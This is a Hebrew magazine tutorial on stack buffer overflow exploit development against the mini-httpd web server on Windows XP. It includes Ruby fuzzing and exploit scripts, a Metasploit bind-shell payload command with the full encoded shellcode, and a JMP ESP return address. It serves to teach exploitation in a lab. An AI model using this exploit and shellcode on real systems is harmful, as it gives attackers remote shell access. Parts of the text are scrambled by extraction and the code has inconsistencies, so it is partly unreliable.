
 

 רים שלך!'שלוט בפיצ

 (או איך לפתח אקספלוייטים מבוססי גלישת מחסנית)

 ( נתיבtsifמאת יובל )

 

 הקדמה

 כן, בנושא הזה נכתבו כבר מאמרים רבים. גם בעברית, גם באנגלית וגם בשפות אחרות. נושא פיתוח

האקספלויטים הוא נושא אשר יחסית מקודם ומאמר זה אינו מתיימר להיות טוב יותר, מובן יותר או 

או  ASM86-ו Cמקצועי יותר. אצא מנקודת הנחה שהכותב לא פיתח בעבר אקספלוטים פשוטים, מכיר 

ות טוב יותר או רענון של השלבים והמתודה. שוב, אין כאן ניסיון להיבלחילופין פיתח אקספלויטים ומעוניין 

את הגלישה הראשונה לתוך  ,אלא לנסות לאפשר לאנשים אשר לא התעסקו עם הנושא בעבר ,ברור יותר

 הנושא תוך כדי ניסוי ולמידה.

 הכנת סביבת עבודה

בעת פיתוח אקספלויט אנו מנסים להביא את התוכנה 'המקורבנת' שלנו למצבי קיצון שאיתם לא תוכננה 

כל לנסות לקחת מערכת הדורשת שם משתמש וסיסמא ולנסות להזין שם להתמודד. כך לדוגמא נו

משתמש ארוך מאוד. מפתחי המערכת כנראה תכננו קליטה של שם משתמש אך לא בטוח שתכננו שם 

. האם הם ניסו להתמודד עם מצב כזה? כיצד? זהו החלק הראשוני של םתווי 4201משתמש באורך של 

ין היכן נמצאת והבעיה ומה גורם לה. לאחר מכן נוכל להבין איך היא פיתוח האקספלויט שלנו. עלינו להב

 מתנהגת ולנצל אותה למטרותינו.

מכיוון שתהליך פיתוח האקספלויט הוא בעייתי בכמה מובנים אמליץ לכם להשתמש במכונה וירטואלית 

מה פעמים ולכן נוזקות לזכרון, נקריס את התוכנה המיועדת כ-לצורך העניין. אנו נזריק קודים שהם סמי

מומלץ בחום לעבוד עם מכונה וירטואלית. בנוסף, מערכת ההפעלה שנשתמש בה לצורך ההדגמה הינה 

 יבוא בהמשך.מדוע . ההסבר XPחלונות 

 מערכת ההפעלה

או את התוכנה כמה \מכיוון שיש סיכוי גבוה שאנו נקריס את המכונה המריצה את התוכנה הפגיעה ו

אותה נבדוק תריץ מכונה וירטואלית. לצורך הדגמה זאת אנו נעבוד עם מכונת פעמים אנו נעדיף שהתוכנה 

Windows XPגרסת ה .-Service Pack  אינה חשובה לצורך הדגמה זאת ונסביר בהמשך כיצד היא עלולה

היא שבמערכת  7Windowsדברים. הסיבה שאנו לא מפתחים את האקספלויט שלנו כרגע על  לולשנות ואי
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אשר  2ASLR-ו 1DEPמנגנוני הגנה שונים אשר יקשו על תהליך פיתוח הפגיעות כגון  סוהוכנהפעלה זאת 

, הגדרת מתאם Windows XPנדבר עליהם קצת בהמשך. יש להתחיל מהקמת מכונה וירטואלית של 

 )בהמשך נצטרך תקשורת אל המכונה( ואת התכונות המצוינות בפרק הבא. 3Bridged-הרשת ה

 כללייםתוכנות נדרשות והסברים 

בכמה כלים כדי להתקדם מהר יותר בתהליך הפיתוח.  רלהיעזבמהלך בניית האקספלויט אנו נצטרך 

אנסה לספק כאן הסברים בסיסיים לגבי הכלים שבהם נשתמש ואסמוך הרבה על יכולת החיפוש שלכם 

וכנה כל הכלים שאתה צריכים )כולל הת -בגוגל. רשימת הכלים תהיה יחסית מצומצמת. באופן כללי 

 .http://bit.ly/dw_0x50הפגיעה והסקריפטים( נמצאים כאן: 

Python 

על מערכת ההפעלה שלכם. ההתקנה הזאת היא לא חובה אך תספק נוחות גבוהה יותר  Pythonתקינו ה

שבור את רצף המחשבה בתהליך הפיתוח. במהלך התהליך אתם לא רוצים לשרוף זמן על לוגיסטיקה ול

ישנה גם האפשרות שאת פיתוח הפגיעות תבצעו  XPבחלונות  Pythonשלכם. אם אינכם מעוניינים להתקין 

הוא  Sublimeבמערכת האב שלכם )במקרה שלי, אובונטו(. בנוסף, מומלץ להתקין עורך טקסט נוח. 

 דוגמא טובה לעורך כזה.

Immunity Debugger 

Immunity וג שתאפשר לנו לצפות במצב של תוכנה ושל המכונה שלנו בעת ההרצה של היא תוכנת דיב

אותה התוכנית. היא תאפשר לנו לעצור את התוכנה בעת הריצה בנקודות שונות, להסתכל מה קורה 

אך  5WinDBGאו  4OllyDbgלמעבד ולזיכרון שלנו ועוד. אני יודע שרבים מעדיפים דיבאגרים אחרים כגון 

-לעבוד עם תוספים שנכתבו בפיית'ון אשר ייחודית ל Immunityשתמש ביכולת של במקרה הזה אנחנו נ

Immunity בהמשך יסופקו הסברים בסיסיים לגבי אופן העבודה עם .Immunity. 

                                                           
1
 DEP - http://en.wikipedia.org/wiki/Data_Execution_Prevention 

2
 ASLR - http://en.wikipedia.org/wiki/Address_space_layout_randomization 

3
 Bridged - VirtualBox (http://www.virtualbox.org/manual/ch06.html) 

3
 VMWare (https://www.vmware.com/support/ws55/doc/ws_net_configurations_bridged.html) 

4 
OllyDebug - http://www.ollydbg.de/ 

5 
Windbg - http://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx 
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http://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx
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Mona 

במיוחד בכדי לכתוב אקספלויטים. קצת לגבי  Immunity-אחד התוספים היותר טובים ומקיפים שנכתבו ל

 Corelanיל גם חומרי קריאה נוספים יצורפו. תמסרו הרבה תודה לצוות היכולות יוסבר בהמשך וכרג

Belgium6  כל פעם שאתם מריצים פקודה שלImmunity כאן תוכלו למצוא איך להתקין את .Mona  לתוך

Immunity. 

Ruby 

לפעמים פשוט יותר נחמד וקל לכתוב ברובי. לצורך המאמר הזה אניח שיש לכם הבנה בסיסית גם ברובי 

 ...Stack Overflow7-ם בפיית'ון ואם לא אז שיש לכם יכולת סבירה של חיפוש בגוגל ובוג

 

 התהליך

לפני שנצלול פנימה ונתחיל להשתפשף עם הביטים רצוי שנעבור קודם כל ממה התהליך יהיה מורכב, מה 

טרה בעצם פיתוח אקספלויט. המ הואזה מה  ביןהמטרה ומה עלינו לעשות. הדבר הראשון שעלינו לה

שלנו היא להריץ קוד משלנו בעזרת תוכנה שקיימת במערכת. בשביל כך אנחנו קודם כל נצטרך להכניס 

את הקוד שלנו לתוך הזיכרון של התוכנה. לאחר מכן, נצטרך להפנות את התוכנה להריץ את הקוד הזה. 

 עכשיו שהבנו בגדול את המטרה נתחיל לפרק את זה לשלבים:

  : מציאת הפגיעות. 1שלב  ●

   : הבנת הפגיעות. 2שלב  ●

  : השתלטות על הפגיעות.3שלב  ●

   : הזרקת הקוד שלנו לזכרון.4שלב  ●

 : כתיבת הקוד הסופי, בדיקתו וסידורו באופן איכותי.5שלב  ●

 איפה מדגדג לך?

זיהוי פגיעות בתוכנה יכול להיעשות בהרבה טכניקות שונות ומשונות. אנחנו נשתמש לצורך המדריך הזה 

עצלנים. במקום לבצע תהליך הנדסה לאחור אמיתי אנחנו נניח שיכולה להיות בעיה בקוד  בטכניקה של

ובמקום לנסות לאתר היכן היא אנחנו ננסה קודם לגרום לה לקרות ולאחר מכן נתחיל לנסות להבין איפה 

( שהתפקיד שלהם הוא fuzzersהיא מתרחשת ולמה. בשביל כך יש סט כלים שנקראים פאזרים )

                                                           
6 

Corelan - https://www.corelan.be/ 

7 
StackOverflow - http://en.wikipedia.org/wiki/Stack_Overflow_%28website%29 

http://www.digitalwhisper.co.il/
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מתודות של התוכנה )בין אם בתקשורת ובין אם מקבצים או מתוכנות אחרות( ולנסות להזין כל להשתמש ב

 מיני סוגים של קלטים שונים שכותבי התוכנה כנראה לא תכננו לקבל ולראות איך התוכנה מתנהגת.

 המדגדג

 :במקרה הזה, נשתמש בפאזר שהכינותי מראש

require 'socket' 

# Host details 

host = '192.168.0.107' 

port = 80 

 

# Fuzzing Details 

start = 1 

steps = 100 

max = 10000 

packet = 'GET ' 

 

# Starting Fuzzer 

while start < max 

    sock = TCPSocket.new(host, port) 

    be = "\x41" * start 

    fuzz_with = "#{packet} #{be} /HTTP/1.1\r\n\r\n" 

    sock.send(fuzz_with, 0) 

    puts "Sent a get request with #{start} A" 

    start = start + steps 

    sock.close 

    sleep(0.1) 

end 

במקרה הזה מדובר בפאזר מאוד פשוט. קריאה על אודות התוכנה שאנו עומדים לשחק איתה מסבירה לנו 

רגילות כאשר הפרמטר  GETיחת בקשות . מה שהפאזר מבצע זה שלHTTPשהיא "מדברת" בפרוטוקול 

כמו שכבר  -בקשות. לצורך ההמשך  42,222-עד שמגיע ל 422גדל בקפיצות של  GET-של בקשת ה

. אז מן הראוי שנבחר בתוכנה HTTP-אנחנו עומדים לנסות לבנות אקספלויט לתוכנה שמדבר ב ,הבנתם

mini-httpd  .לחלונות. תוכלו להוריד עותק שלה כאן 
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 נקודת הקריסה זיהוי

 לאחר הרצת התוכנה קיבלנו את המסך האהוב עלינו:

 

המשמעות היא שהתוכנה קרסה. אם נחזור לפאזר שלנו נוכל לראות שהפורט )או התוכנה( הפסיקה 

להגיב לאחר שליחה של גודל מסויים. נוכל לבדוק האם באמת אנחנו מקריסים את התוכנה לאחר שינויים 

 :קטנים בסקריפט שיראה כך

require 'socket' 

# Host details 

host = '192.168.0.107' 

port = 80 

 

# Fuzzing Details 

As = 4000 

packet = 'GET ' 

 

# Crushing the service 

sock = TCPSocket.new(host, port) 

be = "\x41" * As   # Just a hex representation of A 

fuzz_with = "#{packet} #{be} /HTTP/1.1\r\n\r\n" 

sock.send(fuzz_with, 0) 

puts "Sent a get request with #{As} A" 

sock.close 

 

http://www.digitalwhisper.co.il/
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נוכל לראות שלאחר כל הרצה של הקוד הזה נקבל את אותה הקריסה בתוכנת השרת. קודם כל, נוכל 

יס להגיד שכאן יש לנו פגיעות )שעדיין לא הבנו מה קורה או כיצד מתרחשת( אך אנו מסוגלים להקר

שירותים מאותה גירסה על ידי שליחת הבקשה הזאת אשר תגרום לשרת לקרוס. אך כמובן שאנחנו לא 

נסתפק בזה. עכשיו נרצה להבין קצת מה גרום לקריסה, איך זה קרה ומה אנחנו יכולים לעשות עם זה 

 הלאה :(

 

 ניתוח הקריסה

ה בעת הקריסה נעלה אותה בדיבאגר בכדי שנוכל לראות באופן קצת יותר מסודר ואיכותי את מצב התוכנ

 Immunityאשר יראה לנו את מצב במעבד והזכרון בכל רגע נתון. שוב, למהלך המדריך הזה נעבור עם 

Debugger  .ובהמשך גם תראו מדוע. אתם מוזמנים, כרגיל, לעבוד עם איזה כלי שנוח לכם 

נעבור באופן זריז עם מה אנחנו  לתוך הדיבאגר. minihttpd.exeגררו את  Immunityה של אאחר העלל

 רואים ומצב התוכנה לפני התחלת הניתוח. 
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חלקים. בחלק השחור העליון משמאל נראה את מצב  7-להבין מה אנחנו רואים נחלק את המסך לעל מנת 

התוכנה ופירוק לאסמבלי של הקוד בזכרון. הריבוע השחור הצר והארוך מתחת מספק מידע נוסף על מצב 

מצב הזכרון שלנו. מימין למעלה נמצא כחי )לדוגמא האם קפיצה נלקחת או לא(. מתחת לזה הריצה הנו

 נראה את מצב המעבד, הרגיסטרים והדגלים שלנו. מתחת לזה נראה את מצב הסטאק של התוכנה. 

וכך  Pausedמצב התוכנה אשר כרגע נמצאת במצב  -שדות 'עזר'. מימין )כרגע בצהוב( 3בנוסף ישנם 

. שורת הטקסט הלבנה קצת מעל מצב Immunityכאשר תוכנה נטענת לראשונה לתוך  התראתמיד 

התוכנה הינה שורת פקודות שנראה בהמשך ושורה מתחת לזה היא מידע מילולי יותר על מצב התוכנה 

 הנוכחי. כל השדות האלה יתבהרו ברגע שנתחיל לעבור עליהם יחד. 

. לאחר לרוץ התוכנה תתחילובכך )הרצה(  F9הקיש ם לכעל מנת שנוכל לנתח את הקריסה כרגע עלי

ותראו את התוכנה מתחיל נוכל לחזור להריץ את הסקריפט שגילינו  Runningשתוכנה עוברת למצב 

 ששובר את התוכנה. לאחר ההרצה המסך יראה כך:

 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/


 
 

 !שלך רים'בפיצ שלוט

www.DigitalWhisper.co.il 

 8  2014 מאי, 50גליון 

 
 
 
 
 

מתאר לנו באופן טוב מאוד את מה שקרה בתוכנה. ניתן לראות קודם כל ניתן לראות מצב הלמעלה 

שהאזור שבו אנו אמורים לראות את קוד האסמבלי בזכרון התרוקן. בנוסף התוכנה עצרה. כדי להבין קצת 

 Access violation when executingמה קרה אנחנו יכולים להסתכל על שורת המידע הנוסף שאומרת לנו: 

כל לראות שגם [ מה שקצת מזכיר לנו את מה שהכנסו. בנוסף, אם נסתכל על מצב המעבד נו41414141]

. לפי המצב 41414141מכיל  EIPוגם שהרגיסטר  AAAA-מצביעים על אזור המלא ב EDI-ו ESPהרגיסטרים 

של המעבד אנחנו יכולים להבין שמה שקרה היה הצפה של הזכרון עם הקלט שלנו ודריסה של הנתונים 

אך מכיוון שהוא אינו מהמחסנית  POPהבאים במחסנית. בעת היציאה מהפונקציה המעבד קיבל הוראות 

 יודע מה באמת יש במחסנית המעבד פשוט מוציא את כמות המידע שהתוכנה ביקשה ממנו לשחזר. 

 

 יצירת האקספלויט

עכשיו כשהבנו איזה סוג פגיעות ובערך מה קורה שם אנחנו רוצים לנסות למנף את זה לשלב הבא. זה 

תים האלה אבל יכול להיות כל כך הרבה יותר נכון שאנחנו יכולים להסתפק בקוד שיודע להפיל את השר

 מגניב גם לדעת למנף את זה לדברים יותר נחמדים. 

 זיהוי המטרות

עכשיו שהבנו את זה, נחלק לשלבים כדי להבין מה עושים הלאה. המטרה הסופית שלנו היא להריץ קוד 

רצף ההוראות הקיים  משלנו. כדי לעשות את זה אנחנו צריכים לשתלט על המעבד. כרגע הוא עובד לפי

התוכנה הקיימת. אנחנו צריכים לזכרון שהתוכנה הקיימת נטענה כרגע לזכרון והיא סט של הוראות 

סן בו. זאת אומרת שעלינו גם לוודא שהקוד שלנו נמצא בזכרון של המכונה וגם שאנחנו מצליחים חהמאו

ודא שאנחנו שומרים על רצף להפנות את המעבד להריץ את הקוד הזה במקום את התוכנה אך עדיין לו

 הגיוני בכדי שהתוכנה לא תקרוס. 

 זיהוי וניתוח הזכרון

הוא  GET-עכשיו אנחנו רוצים להבין קצת מה קורה בזכרון. הבנו קודם כל שהפרמטר ששמנו בבקשת ה

אנחנו יודעים גם מה נדרס בעת היציאה מהפונקציה. אנחנו ננסה להבין בדיוק כעת מה שגרם לקריסה. 

. ניתן corelanשל  mona.pyמה ששמנו בזכרון נכנס. בשביל לעשות את זה נשתמש בפונקציה של  היכן

לתוך  Immunity Debugger . לאחר מכן יש להעתיק אותה לתיקייה שלמכאן mona.pyלהוריד את 

 . PyCommandsהתיקייה שנקראת 
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mona היא תוכנה שנכתבה לעזור לנו בתהליך פיתוח האקספלוייט. אחת התכונות היותר נחמדות ב-

mona  שניתן להשיג דרך(metasploit  היא התכונה של )או תוכנות אחרות כמובןpattern_create הרעיון .

ך כבבתים רצופים ו 4הוא לייצר תבנית של טקסט באורך רצוי מראש אשר לא חוזרת על עצמה לאורך 

 לזהות איך היא נראת בזכרון. 

? עכשיו נשתמש בה כדי לקרוא למונה ולבקש ממנה לייצר לנו Immunity-זוכרים את שורת הפקודות ב

 בתים. נוכל לעשות זאת על ידי הפקודה: 4000תבנית של 

!mona pc 4000 

הזין אותה נוכל למצוא את התבנית הבאה ול Immunityיקיה של יבת pattern.txtלאחר מכן בקובץ 

 :לסקריפט שלנו

require 'socket' 

# Host details 

host = '192.168.0.107' 

port = 80 

 

# Fuzzing Details 

As = "Aa0Aa1Aa2A…….e6Ae7Ae8Ae9Af0Af1Af2Af3c8Fc9Fd0Fd1Fd2F" 

packet = 'GET ' 

 

# Crushing the service 

sock = TCPSocket.new(host, port) 

fuzz_with = "#{packet} #{As} /HTTP/1.1\r\n\r\n" 

sock.send(fuzz_with, 0) 

puts "Sent a get request with #{As} A" 

sock.close 

ומריצים את הסקריפט החדש.  Immunityעם הקוד הזה מוכן אנחנו מריצים מחדש את התוכנה מתוך 

הקריסה ונראה שבאמת  נסתכל עלכשבתים בזכרון הם ייחודיים.  4התוכנה קורסת שוב אבל הפעם כל 

שמאפשרת לנו לחפש בתוך התבנית. נוכל לראות  monaהערכים שונים נוכל להשתמש בפקודה של 

 כעת. 39774538מכיל את הערך  EIP-וש h9Ciמצביע על  EDI-, שEx0E, יש מצביע לערך ESPשבתוך 

 :נשתמש בפקודה

!mona po value 

 את הנתונים הבאים:גלה מבתוך המחרוזת ו offset-אשר מוצאת את ה

ESP offset at:  3810 

EDI offset at: 1798 

EIP offset at: 3806 
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 בדיקת ההיסטים

ננסה לבדוק האם אנחנו מצליחים לכתוב קוד שידרוס כל אחד מהם באופן מדוייק. אנחנו יודעים  כעת

 ך:הפוותו נבנה א כעתאך  ,בתים 6000שהגודל של הטקסט שאנחנו רוצים לשלוח הוא 

require 'socket' 

# Host details 

host = '192.16.0.107' 

port = 80 

 

# Fuzzing Details 

size_of_message = 4000 

 

# Crushing the service 

sock = TCPSocket.new(host, port) 

As = "\x41" * 1797     # 1798 before EDI 

As = As + "\x42" * 4   # EDI is overrun at 1798 

As = As + "\x41" * (3806-1800) # Calculating offset for EIP 

As = As + "\x43" * 4    # EIP is overrun at 3806 

As = As + "\x44" * 4     # ESP is overrun at 3810 

fuzz_with = "GET #{As} /HTTP/1.1\r\n\r\n" 

sock.send(fuzz_with, 0) 

puts "Sent a get request with #{As} A" 

sock.close 

 :שנקבל היא זאתהתוצאה 

 

 . ESPשאומר שהצלחנו לדרוס אותו בידיוק. וכנ"ל לגבי  43x4באמת מכיל  EIP-נוכל לראות ש
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 כתיבת האקספלויט

את הקוד שלנו לזכרון ולדאוג להריץ אותו בלי להקריס את התוכנה. בתור התחלה נחליט לאן  כעת נזריק

נדע איך לקפוץ אליו וגם איפה לשים אותו. נתחיל מלראות את נקודות להכניס את הקוד שלנו ואז גם 

הוא בעצם המצביע  ESP .EIPוהשני  EIPהייחוס שלנו. כרגע הצלחנו לדרוס שני מקומות, הראשון הוא 

בתים ואין לנו כל כך מקום לדחוף  4-להוראה הבאה שהמעבד צריך להריץ אך מבחינת גודלו הוא מורכב מ

כהוראה תקינה של המעבד. במקרה הספציפי הזה  EIPר לכך איננו יכולים לכתוב לתוך קוד משלנו ומעב

ESP  .נדרס גם כןESP  הוא אותו הגודל שלEIP  אךESP  .משתמש כמצביע וכך נשתמש בו 

קודים הם חתיכות קוד קטנות בהוראות  . שלmetasploit-מ Shellcode-לצורך ההדגמה אנחנו נשתמש ב

יבצעו את ההרצה שאנחנו נרצה. במקרה הזה אחסוך לנו שלב במציאת התווים  מכונה ישירות אשר

הבעייתיים אך בעת קריאה מהזכרון יכולות להיות לנו הוראות מסויימות אשר יתורגמו בהקשר מסוים 

 :מהזכרון ואנחנו נרצה להמנע מהם. במקרה הזה הרשימה שלנו היא

'\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f' 

 מתאים: payloadלייצר לנו  metasploitו נפנה אל אנחנ

sudo msfpayload windows/shell_bind_tcp R | sudo msfencode -b 

'\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f' -t c 

 מה שיביא אותנו ל:

tisf ~ > sudo msfpayload windows/shell_bind_tcp R | sudo msfencode -b 

'\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f' -t c 

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) 

 

unsigned char buf[] = 

"\xda\xde\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x56\xbb\x74\x68\x05" 

"\xa2\x31\x5a\x18\x83\xea\xfc\x03\x5a\x60\x8a\xf0\x5e\x60\xc3" 

"\xfb\x9e\x70\xb4\x72\x7b\x41\xe6\xe1\x0f\xf3\x36\x61\x5d\xff" 

"\xbd\x27\x76\x74\xb3\xef\x79\x3d\x7e\xd6\xb4\xbe\x4e\xd6\x1b" 

"\x7c\xd0\xaa\x61\x50\x32\x92\xa9\xa5\x33\xd3\xd4\x45\x61\x8c" 

"\x93\xf7\x96\xb9\xe6\xcb\x97\x6d\x6d\x73\xe0\x08\xb2\x07\x5a" 

"\x12\xe3\xb7\xd1\x5c\x1b\xbc\xbe\x7c\x1a\x11\xdd\x41\x55\x1e" 

"\x16\x31\x64\xf6\x66\xba\x56\x36\x24\x85\x56\xbb\x34\xc1\x51" 

"\x23\x43\x39\xa2\xde\x54\xfa\xd8\x04\xd0\x1f\x7a\xcf\x42\xc4" 

"\x7a\x1c\x14\x8f\x71\xe9\x52\xd7\x95\xec\xb7\x63\xa1\x65\x36" 

"\xa4\x23\x3d\x1d\x60\x6f\xe6\x3c\x31\xd5\x49\x40\x21\xb1\x36" 

"\xe4\x29\x50\x23\x9e\x73\x3d\x80\xad\x8b\xbd\x8e\xa6\xf8\x8f" 

"\x11\x1d\x97\xa3\xda\xbb\x60\xc3\xf1\x7c\xfe\x3a\xf9\x7c\xd6" 

"\xf8\xad\x2c\x40\x28\xcd\xa6\x90\xd5\x18\x68\xc1\x79\xf2\xc9" 

"\xb1\x39\xa2\xa1\xdb\xb5\x9d\xd2\xe3\x1f\xa8\xd4\x2d\x7b\xf9" 

"\xb2\x4f\x7b\xec\x1e\xd9\x9d\x64\x8f\x8f\x36\x10\x6d\xf4\x8e" 

"\x87\x8e\xde\xa2\x10\x19\x56\xad\xa6\x26\x67\xfb\x85\x8b\xcf" 

"\x6c\x5d\xc0\xcb\x8d\x62\xcd\x7b\xc7\x5b\x86\xf6\xb9\x2e\x36" 

"\x06\x90\xd8\xdb\x95\x7f\x18\x95\x85\xd7\x4f\xf2\x78\x2e\x05" 

"\xee\x23\x98\x3b\xf3\xb2\xe3\xff\x28\x07\xed\xfe\xbd\x33\xc9" 

"\x10\x78\xbb\x55\x44\xd4\xea\x03\x32\x92\x44\xe2\xec\x4c\x3a" 
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"\xac\x78\x08\x70\x6f\xfe\x15\x5d\x19\x1e\xa7\x08\x5c\x21\x08" 

"\xdd\x68\x5a\x74\x7d\x96\xb1\x3c\x8d\xdd\x9b\x15\x06\xb8\x4e" 

"\x24\x4b\x3b\xa5\x6b\x72\xb8\x4f\x14\x81\xa0\x3a\x11\xcd\x66" 

"\xd7\x6b\x5e\x03\xd7\xd8\x5f\x06"; 

עלינו למצוא הוראה שאומרת לך תריץ  ESPעכשיו שיש לנו את הקוד שלנו ואנחנו יודעים שנזין אותו לתוך 

. יש לנו כאן רק JMP ESPום בקוד שבו מופיע ההוראה . זאת אומרת שאנחנו רוצים למצוא מקESPאת 

הערה קטנה. אם נמצא את הקוד הזה תחת התוכנה הזאת אין שום ערובה שהניצול יעבוד בפעם הבאה. 

מכיוון שברב המקרים כאשר תוכנה עולה היא נטענת למקום אחר בזכרון אזי קפיצה למיקום הוירטואלי 

בת. לכן נבנה על רכיבים שנטענים לאותו מקום. )שוב, במקרה של התוכנה עלול להשתנות מבחינת כתו

ים של המערכת. כאשר -DLL-(. במקרה הזה אנחנו נשתמש בASLRהזה אתעלם כרגע מטכנולוגיות כמו 

מערכת ההפעלה עולה היא טוענת סט של רכיבים שיעזרו לתוכנות שונות. הסדר בו נטענות אותן מערכות 

וב )מערכות הפעלה וגרסאות שונות עלולות לשנות בהחלט את הכתובות הוא זהה וגודלן לא משתנה לר

 האלה( כתובותיהן יהיו זהות וכתוצאה מכך גם של ההוראות שבתוכן. 

שוב כדי  mona-ים שונים ולחפש בתוכם הוראות אנחנו נשתמש ב-DLLבמקום להכנס כרגע ידנית לתוך 

 :להקל עלינו

!mona jmp -r esp 

 ה הבאה:יחזיר לנו את התוצא
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או מקבילה אליה ומה הכתובת. במקרה זה  JMP ESPים שונים שמופיע בתוכם הפקודה -DLLרשימה של 

שונה מאצלי ורוב  XP. תזכרו שאצלכם כנראה שיש גרסת USER32.DLLשנמצא תחת  JMP ESP-נשתמש ב

ם כך לאחד את . ננסה א0x77d7754aהסיכויים שהכתובות יצאו קצת שונות. במקרה הזה מדובר בכתובת 

 מה שעשינו עד עכשיו לקוד הזה:

require 'socket' 

# Host details 

host = '192.168.0.107' 

port = 80 

 

shellcode = 

("\xba\x1f\xb5\xae\xa1\xdd\xc4\...a4\x66\x79\x14\xb5\x02\x7d\x8b\xb6\x06

") 

 

# Building the package 

package = "GET /" 

package += "\x90" * 5412 

package += "\x4a\x75\xd7\x77"     # Where EIP is overwritten 

package += "\x90" * 200 

package += shellcode       # Where ESP is overwritten 

package += "\x90" * 5000 

package += " HTTP/1.1\r\n\r\n" 

 

# Sending the package 

sock = TCPSocket.new(host, port) 

fuzz_with = "GET #{package} /HTTP/1.1\r\n\r\n" 

sock.send(fuzz_with, 0) 

puts "Sent sploit\nGo check listener on 4444...\n" 

sock.close 

 No operant-קיצור ל NOPבהוראות  A. החלפנו את x90\-ל x41\שימו לב ששינינו את  -* הערה קטנה 

ופים "יחליקו" את התוכנה עד לריצה המתאימה. תוכלו לראות נ-כך שגם אם במקרה ננחת קצת לפני ה

 ועוד.  HEAP SPRAYאת הטכניקה הזאת בשימוש בחלקים אחרים ובשיטות אחרות של ניצול כגון 
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אנחנו  4444וננסה להתחבר אל אותה מכונה אל פורט  netcatאם הכל עבד כמו שצריך ועכשיו נעלה 

 . הבא נבדוק זאת:SHELLאמורים לקבל 

 

 סיכום והבנת האקספלויט

יש לנו קוד כזה ביד. בחלק הראשון של המאמר ברגע שסיימנו ו בואו נעבור מחדש על כל הסיפור הזה

דוגמא מצאנו את הפגיעות בניסינו למצוא את המקום שבו הקוד לא מתנהג כמו שציפינו. במקרה הזה 

ית ממה שהפתח ציפה לקבל כאשר הבקשה מבקשת אובייקט ארוך משמעות GET-בטיפול בבקשות ה

והקצה לו מקום בזכרון. לאחר מכן זהינו מה נדרס ובאיזה שלב. יש לזכור שכאן לא דרסנו את האוגרים 

 אלא האוגרים נשלפו מהזכרון בעת היציאה מהפונקציה. 

יותר )במקרה הזה מאוד נוח(. קודם כל וידאנו שאנחנו באמת  לאחר מכן תהליך הפיתוח כבר היה קל

לדרוס את אוגרים כמו שרצינו. לאחר מכן "דחפנו" את הקוד שאנחנו רוצים שמכונה תריץ  יכולים

 ESP)שבמקרה הזה לא התייחסנו להגבלת גודל או תוים מיוחדים שעלולים לפגום בקוד שלנו( כאשר 

 כך EIPמצביע אליו. לאחר מכן, כדי לוודא שהאקספלויט יהיה יציב במערכת ההפעלה הזאת שינינו את 
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של מערכת ההפעלה שעולה תמיד לאותו המקום )במערכת הספציפית  DLLקפוץ אל נקודה בתוך שי

 כדי שתמיד יריץ את הקוד שלנו. בזה תם ונשלם.  JMP ESPהזאת( ולאחר מכן הפנינו אותו אל ההוראה 

 

 סיכום

המובן המאמר הזה אינו מתיימר להיות הטוב ביותר, המקיף ביותר או  -כמו שנאמר בתחילת המאמר 

, סדרת המאמרים הטובים ביותר בתחום הם עבוריביותר ומומלץ בחום לקרוא מאמרים נוספים בתחום. 

. בנוסף, במידה ואתם מתכננים להכנס עוד יותר 8כאןשניתן לקרוא אותם  Corelan Teamהמאמרים של 

שמאפשר תמיכה ודימניות  Metasploitץ להבין קצת על כתיבת האקספלוייטים למערכת לעולם הזה, מומל

( יכולות להיות return addressesטובה בהרבה בעת הרצת האקספלויטים. כך לדוגמא כתובת חזרה )

מסודרות במערך כך שאין צורך לשנות אותן ידנית אלא שנוכל לציין באיזה מערכת הפעלה מדובר והקוד 

שלנו לבד כאשר הוא  shellcode-שלוף באופן אוטומטי את כתובת החזרה המתאימה, לקודד את היוכל ל

 מתייחס לתוים המגבילים, וליישם דברים שונים נוספים. 

 שיהיה בהצלחה בהמשך ונתראה במגיזינים הבאים :(
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